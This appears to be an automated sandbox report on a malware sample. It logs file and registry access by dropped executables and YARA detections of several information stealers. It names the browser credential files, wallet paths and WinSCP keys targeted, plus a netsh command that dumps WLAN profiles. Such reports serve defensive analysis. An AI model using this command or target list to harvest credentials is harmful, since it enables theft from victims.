Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FD8E.exe VolumeInformation

Source: C:\Users\user\Desktop\987123.exe

Code function: 0_2_00426B79 AbortSystemShutdownA,RtlLeaveCriticalSection,FreeEnvironmentStringsA,EqualSid,ReadEventLogW,CreateNamedPipeA,SetMessageWaitingIndicator,

0_2_00426B79

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_00402D53 GetLocalTime,SystemTimeToFileTime,GetLastError,GetLastError,GetLastError,

8_2_00402D53

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Code function: 21_2_00007FF73D0A1927 GetUserNameW,

21_2_00007FF73D0A1927

Source: C:\Users\user\Desktop\987123.exe

Code function: 0_2_00416D66 __get_daylight,__get_daylight,____lc_codepage_func,__getenv_helper_nolock,GetTimeZoneInformation,

0_2_00416D66

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_004067D5 KiUserCallbackDispatcher,GetVersionExW,GetCommandLineW,GetCommandLineW,GetCommandLineW,wsprintfW,GetModuleFileNameW,wsprintfW,GetCommandLineW,GetCurrentProcess,SetProcessWorkingSetSize,CoInitialize,GetKeyState,GetFileAttributesW,SetCurrentDirectoryW,MessageBoxA,

8_2_004067D5

Source: C:\Users\user\AppData\Local\Temp\4577.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Eternity Stealer

Source: Yara match	File source: 30.0.E35F.exe.db8096.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.E35F.exe.db8096.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.E35F.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2767631716.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E35F.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5544, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\E35F.exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected SmokeLoader

Source: Yara match	File source: 35.2.5390.exe.4c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.5390.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.5390.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2383099821.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match	File source: 25.0.9D1E.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\9D1E.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: InstallUtil.exe, 0000001A.00000002.2388752727.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: KBWallets/ElectrumB
Source: InstallUtil.exe, 0000001A.00000002.2395264074.0000000000AFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: InstallUtil.exe, 0000001A.00000002.2388752727.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: KBWallets/ExodusBC:\Users\user\AppData\Roaming\Exodus\exodus.wallet4L{B%appdata%\Exodus\exodus.walletBkeystoreyKB
Source: InstallUtil.exe, 0000001A.00000002.2388752727.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: KBWallets/ExodusBC:\Users\user\AppData\Roaming\Exodus\exodus.wallet4L{B%appdata%\Exodus\exodus.walletBkeystoreyKB
Source: InstallUtil.exe, 0000001A.00000002.2388752727.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: KBapp-store.jsonBWallets/BinanceC:\Users\user\AppData\Roaming\BinanceB%appdata%\Binance
Source: InstallUtil.exe, 0000001A.00000002.2388752727.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: KBWallets/EthereumBW[
Source: InstallUtil.exe, 0000001A.00000002.2395264074.0000000000AFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 9D1E.exe, 00000019.00000000.2171928326.0000000000FB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: InstallUtil.exe, 0000001A.00000002.2388752727.00000000008F8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: {BC:\Users\user\AppData\Roaming\Ledger Live+L{B%appdata%\Ledger Live

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal WLAN passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
